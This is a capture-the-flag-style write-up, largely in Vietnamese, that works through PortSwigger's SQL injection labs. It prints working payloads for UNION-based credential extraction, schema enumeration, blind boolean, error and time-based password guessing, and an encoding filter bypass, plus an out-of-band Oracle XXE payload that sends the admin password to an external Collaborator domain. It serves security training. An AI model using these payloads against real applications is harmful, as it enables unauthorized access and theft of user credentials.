SQL Injection Writeup

PortSwigger

Author:

  • Pham Quoc Trung

Used Tools:

Problem Solving

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1 To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

image

Ở đây, ta được biết query SQL khi ấn vào các category là SELECT * FROM products WHERE category = '<tên category>' AND released = 1 và tên category được lấy từ tham số trên url /filter?category=Gifts. Để có thể lấy được tất cả các sản phẩm unreleased thì ta phải tìm cách bỏ qua đoạn query AND released = 1 và không chỉ tìm một category. Ở đây payload mình sẽ sử dụng là

filter?category=Gifts' OR 1=1--

Khi đó thì query sẽ trở thành SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1. Đoạn từ AND trở đi đã bị comment lại và không được thực thi. Ngoài ra, do điều kiện WHERE đã được OR với 1=1 là một điều kiện luôn đúng nên câu lệnh WHERE cũng sẽ bị vô hiệu hóa.

Lab: SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

image

Query cho chức năng đăng nhập này sẽ có dạng là SELECT * FROM users WHERE username = '' AND password = ''. Tương tự như lab trước, mình sẽ sử dụng -- để bypass việc check password bằng cách nhập username là administrator'-- và password bất kì.

image

Lab: SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

image

Bài này bắt mình tìm ra số cột trả về của một query. Mình sẽ thử với query của category. Mình sẽ thêm ' ORDER BY 1 và tăng dần số lượng lên cho đến khi xảy ra lỗi. Khi đó số cột cuối cùng sẽ là trường hợp xảy ra lỗi trừ đi 1. Sau một hồi thử thì mình tìm ra số cột là 3

Ngoài ra, mình cũng có thể dùng ' UNION SELECT null và tăng dần số lượng null lên. Nếu không xảy ra lỗi thì đó chính là số lượng cột. Để ý kết quả trả về đã có thêm 1 hàng toàn kí tự null

Lab: SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

image

Mục tiêu là làm cho database trả về chuỗi 'TAXghp'. Muốn làm được điều này ta phải tìm ra được cột có kiểu dữ liệu phù hợp với string. Ở đây mình sẽ lại thao tác với chức năng category. Như câu trước thì mình đã biết là nó có 3 cột. Mình sẽ sử dụng payload như sau để tìm ra cột chứa được string:' UNION SELECT 'TAXghp',NULL, NULL--. Thực hiện đổi vị trí của 'TAXghp' cho đến khi hết lỗi, và đây là kết quả: Payload cuối:

/filter?category=Pets' UNION SELECT NULL, 'TAXghp', NULL--

Lab: SQL injection UNION attack, retrieving data from other tables

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

image

Có thể thấy giao diện là một trang web cho phép ta xem giới thiệu từng sản phẩm theo category. Đầu tiên, mình sẽ phải tìm số cột của query lấy dữ liệu từ database trả về. Ở đây mình tìm được là 2.

image

Tiếp theo mình sẽ check kiểu dữ liệu của từng cột. Sau một hồi thì mình tìm được cả 2 đều chứa string

image

Giờ chỉ cần viết query để lấy username và password ra từ bảng users thôi. Payload mình sử dụng ở đây sẽ là:

/filter?category=' UNION SELECT username, password FROM users--
image

Có được tài khoản mật khẩu của administrator, giờ chỉ cần đăng nhập là xong

image

Lab: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

image

Vẫn tương tự như các lab trước, mình tìm được database ở đây trả về 2 cột, một cột là int một cột là chứa được string

image

Do chỉ có một cột chứa được string nên mình sẽ sử dụng concat string để lấy được username và password cùng một lúc. Ở đây mình thử kí tự nối chuỗi || trước và đã ra được kết quả luôn.

/filter?category=' UNION SELECT NULL,username || ':' || password  FROM users--
image

Khi đã có được tài khoản administrator thì chỉ cần đăng nhập để hoàn thành bài lab.

image

Lab: SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

Mục tiêu của bài này là phải lấy được version của database, có dạng Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production

Ở đây do database là Oracle nên mọi câu lệnh SELECT phải luôn đi kèm với FROM. Theo như gợi ý thì mình sẽ sử dụng bảng dual, một bảng có sẵn trong Oracle giúp thực thi các truy vấn mà không cần liên quan tới bảng nào. Mình sẽ thử tìm ra số cột và kiểu dữ liệu như các lab trước.

image

Giờ đơn giản chỉ là lấy ra thông tin về database của Oracle. Mình sẽ sử dụng payload như sau:

/filter?category=' UNION SELECT NULL, banner FROM v$version--
image

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

image

Với bài này thì các bước không khác gì bài trước lắm, chỉ cần lưu ý là comment trong MySQL là "-- " hoặc "#". Payload mình sử dụng để hoàn thành bài lab:

/filter?category=' UNION SELECT NULL, @@version-- 
image

Lab: SQL injection attack, listing the database contents on non-Oracle databases

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

image

Các bước đầu cũng giống như lab trước, chỉ khác là ở lab này mình sẽ sử dụng bảng information_schema.tables là một bảng chứa danh sách các bảng có trang database để tìm được bảng có chứa username, password. Mình sử dụng payload như sau:

/filter?category=' UNION SELECT NULL, table_name FROM information_schema.tables--
image

Ở đây mình thấy có một table tên là 'users_hgirys' nghe khá giống nơi chứa username và password nên mình sẽ thử lấy các cột của nó ra thông qua information_schema.columns

/filter?category=' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users_hgirys'--
image

Như dự đoán, mình đã tìm được nơi chứa username và password. Giờ chỉ cần viết một payload đơn giản để đọc thôi

/filter?category=' UNION SELECT username_baecch, password_zpnrxk FROM users_hgirys--

Đăng nhập bằng tài khoản administrator để hoàn thành bài lab

image

Lab: SQL injection attack, listing the database contents on Oracle

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

image

Bài này cũng tương tự lab trước. Tuy nhiên vì là Oracle nên để tìm ra các bảng, mình sẽ sử dụng bảng all_tables.

/filter?category=' UNION SELECT NULL, table_name FROM all_tables--

Table USERS_WUOOUV trông khá hợp lí, thử lấy ra các cột sử dụng all_tab_columns

/filter?category=' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_WUOOUV'--
image

Tiến hành lấy ra mật khẩu của administrator và đăng nhập để hoàn thành bài lab.

/filter?category=' UNION SELECT NULL, PASSWORD_AJBUXJ FROM USERS_WUOOUV WHERE USERNAME_GLQPJO = 'administrator'--
image
image

Lab: Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

image

Với bài này thì khi mình thực hiện inject query như những lab trên thì sẽ không có gì được in ra, kể cả nếu xảy ra lỗi. Vì vậy, mình sẽ thử tấn công vào trường TrackingId ở trong request header. Ở đây mình cũng sẽ sử dụng Burpsuite để bắt request và cho vào Repeater để thuận tiện làm việc

image

Sau khi test với 2 inject như dưới, mình nhận thấy khi TrackingId đúng thì trên trang web sẽ hiện thị chữ "Welcome back!" cạnh My Account, ngược lại sẽ không hiển thị.

image
image

Vì vậy mình sẽ dò mật khẩu của administrator thông qua cơ chế này. Mình đã biết là bảng users có 2 cột usernamepassword như đề bài, payload của mình sẽ dạng như sau:

' AND (SELECT SUBSTR(password, 1, 1) FROM users WHERE username='administrator') = 'm'--
image

Kết quả không có chữ "Welcome back" nên mình có thể test với dấu "<" và ">" và thực hiện theo kiểu thuật toán Binary Search. Thực hiện tương tự với các kí tự khác của mật khẩu. Tuy nhiên, nó có vẻ sẽ khá lâu và mất công. Ở đây mình sẽ đá theo một hướng khác đó là sử dụng Intruder trong Burpsuite.

Đầu tiên, mình sẽ tìm ra độ dài password của administrator. Payload mình sử dụng như sau:

' AND (SELECT 1 FROM users WHERE username='administrator' AND LENGTH(password) > 1) = 1--
image

Mình sẽ chuyển request này sang Intruder và đặt payload vào độ dài của password

image

Set payload thành number và cho chạy từ 1 tới 100.

image

Khi chạy tới 20 mình thấy độ dài response trả về bị thay đổi. Có thể đoán được độ dài password của administrator là 20.

image

Bây giờ mình sẽ lấy request thử mật khẩu như bên trên mình có làm để đưa vào Intruder. Mình đặt payload vào thứ nhất vào vị trí kí tự cần thử của password và payload thứ hai vào kí tự dùng để thử. Attack type ở đây mình sẽ chỉnh lại thành Cluster nhằm thử mọi tổ hợp của 2 payload.

image

Với payload đầu mình sẽ cho chạy từ 1 tới 20 là độ dài của password. Payload thứ hai mình sẽ cho chạy bảng chữ cái a-z và số 0-9.

image
image

Tiến hành tấn công. Sau một hồi mình đã tìm được đủ từng kí tự của password

image

Password: p68vv9eutoq2iyf2h8hd Đăng nhập vào administrator để hoàn thành bài lab.

image

Lab: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

image

Ở bài này thì khi thực hiện như bài trước, ta sẽ không thấy có chữ "Welcome back!" xuất hiện để có thể tấn công. Tuy nhiên thì sẽ có dòng chữ "Internal Server Error" hiện ra nếu có lỗi xảy ra. Để test thì mình đã dùng 2 payload như sau

image
image

Đến đây thì nó cũng không khác bài trước là mấy. Mình sẽ sử dụng payload như sau để check mật khẩu:

' AND (SELECT CASE WHEN LENGTH(password) > 1 THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--

Để sang Intruder và gán payload vào độ dài của password để tìm ra độ dài password.

image

Mình sẽ cho chạy từ 1 tới 100

image

Như thấy trong hình thì bài này vẫn sử dụng mật khẩu 20 kí tự

image

Tiếp theo, mình sẽ bruteforce mật khẩu thông qua payload như sau:

' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = 'a' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'

Vị trí payload và cách setup từng payload mình vẫn làm y hệt lab trước

image
image
image

Tiến hành tấn công. Sau một hồi chờ đợi thì mình ra được password là 083eokymrgsaja6qow1p

image

Hoàn thành bài lab

image

Lab: Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

image

Với bài này, khi mình test SQLi thì thấy trang web hiển thị rõ luôn lỗi trả về từ database

image

Vì vậy, mình có thể thử khai thác dựa trên lỗi về kiểu dữ liệu qua hàm CAST(). Giả sử mình có payload như sau

image

Có thể thấy rằng kết quả của truy vấn SELECT 'abcd' đã được in ra màn hình vì nó không thể chuyển thành int. Vậy thử truy vấn ra tài khoản thì sao?

image

Có lỗi xảy ra do câu truy vấn trả về nhiều hơn một dòng trong khi subquery chỉ được trả về 1 dòng. Mình sẽ thử thêm LIMIT 1.

image

Vậy là truy vấn của mình đã được thực thi thành công, và username đầu tiên cũng là administrator luôn. Giờ chỉ cần lấy ra mật khẩu và đăng nhập thôi

image
image

Lab: Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

image

Yêu cầu bài này chỉ đơn giản là khai thác sao cho response trả về bị delay 10s. Mình sẽ thử sử dụng kĩ thuật time delay với payload như sau:

'; IF (1=1) WAITFOR DELAY '0:10:0'-- 

Và mình đã hoàn thành bài lab

image

Lab: Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

image

Với bài này thì đã mất hết hoàn toàn việc in ra lỗi trên màn hình và đề bài yêu cầu chúng ta phải sử dụng time delay để khai thác chức năng tracking cookie. Mình sẽ sử dụng payload như sau để tìm độ dài của password

';SELECT CASE WHEN (LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--
image

Để thời gian trả về của response được chuẩn nhất thì mình sẽ chỉ gửi 1 request mỗi lần

image

Sau một hồi chạy thì mình tìm ra được độ dài của mật khẩu là 20 do xảy ra sự chênh lệch về thời gian response.

image

Tương tự thì mình sẽ dò ra mật khẩu của admin thông qua payload như sau:

';SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--

Vị trí payload các thứ vẫn sẽ như các lab tương tự

image

Sau một hồi thì mình ra được password là fie8nhh6eqjgwi6wsgow

image

Đăng nhập và hoàn thành bài lab

image

Lab: SQL injection with filter bypass via XML encoding

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.

The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account.

image

Ở trang web này thì không có một lỗi nào như các lab trên. Tuy nhiên khi mình vào một sản phẩm thì có thêm một trường để check số lượng hàng tồn kho.

image

Khi đọc request trong BurpSuite, có thể thấy trang web đã gửi một đoạn XML tới server và theo như đề bài thì lỗi SQLi sẽ xuất hiện ở đây

image

Mình thử inject dấu ' vào storeId tuy nhiên có vẻ chương trình đã filter các kí tự liên quan tới SQLi

image

Mình sẽ thử encode các kí tự truyền vào thông qua extension Hackvertor. Ở đây mình sẽ dùng hex_entities

image

Có vẻ nó hoạt động khá tốt. Giờ mình sẽ thử làm như các bài lab trước, đầu tiên là tìm ra số cột và kiểu dữ liệu. Như ở đây, mình đã tìm ra rằng chỉ có 1 cột và kiểu dữ liệu cho phép in ra string.

image

Vậy thì đơn giản là mình sẽ sử dụng concat string để in ra các usernamepassword trong bảng users

image

Với tài khoản mật khẩu admin là administrator:3y5t7qj8dsjbikpjwa6s, tiến hành đăng nhập để hoàn thành bài lab

image

Lab: Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

image

Cũng như motip cũ, khi mình thử trigger lỗi theo các cách của các lab trước thì đều không được. Ở đây mình sẽ thử dùng payload để gửi request DNS Lookup tới BurpSuite Collaborators ở trong SQLi cheat sheet

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://slhupm54cum4ylleawcam50nwe25qwel.oastify.com/"> %remote;]>'),'/l') FROM dual--

Và mình đã hoàn thành bài lab :v

image

Lab: Blind SQL injection with out-of-band data exfiltration

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

image

Bài này vẫn giống bài trước tuy nhiên thay vì chỉ cần làm server gửi DNS Lookup tới BurpSuite Collaborator thì mình phải truy vấn tới database để tìm mật khẩu của administrator.

Trước tiên thì mình cứ gửi payload như bài trước để xem giao diện trả về của Collaborator. Sau khi gửi thì trông nó sẽ như này

image

Tiếp theo mình sẽ thử thêm truy vấn vào payload. Theo như hướng dẫn trong cheatsheet, truy vấn sẽ được đặt nhau sau:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Mình sẽ thử với câu lệnh lấy mật khẩu của admin. Khi đó payload sẽ như sau:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mg6a63stmnjnym44f6che9mcs3yumpae.oastify.com/"> %remote;]>'),'/l') FROM dual--
image

Gửi request đi và ấn Poll trong Collaborator để lấy kết quả. Ở đây mình thấy có một gói tin HTTP được gửi tới. Theo như payload mình dùng, dễ dàng nhận thấy password của administratorkhszua702zcxed16fqcl

image

Thử đăng nhập vào tài khoản với password như trên, mình đã hoàn thành được bài lab

image

© 2024,Pham Quoc Trung. All rights reserved.

Last updated